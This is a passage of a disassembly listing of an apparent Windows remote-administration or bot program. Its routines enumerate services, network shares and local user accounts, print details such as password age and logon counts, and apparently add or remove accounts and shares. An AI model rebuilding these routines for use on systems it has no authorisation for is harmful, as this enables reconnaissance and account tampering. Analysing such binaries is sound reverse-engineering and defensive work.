cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_43F1A8 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43F1A8 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_43F1A8 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43AD8C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43AD58 test eax, eax jnz short loc_40DA25 nop call near ptr 2650B3Dh cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43AC9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_43F464 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_43F664, 1 mov ebp, eax jnz short loc_40DBFA or byte_43F664, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_43F404, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_43F404 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_43F404 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43AC98 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43AC70 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43ACE4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43AC8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43AE28 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_43F668 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43AC7C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43AC6C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43ADF0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43AE28 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43AD00 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, 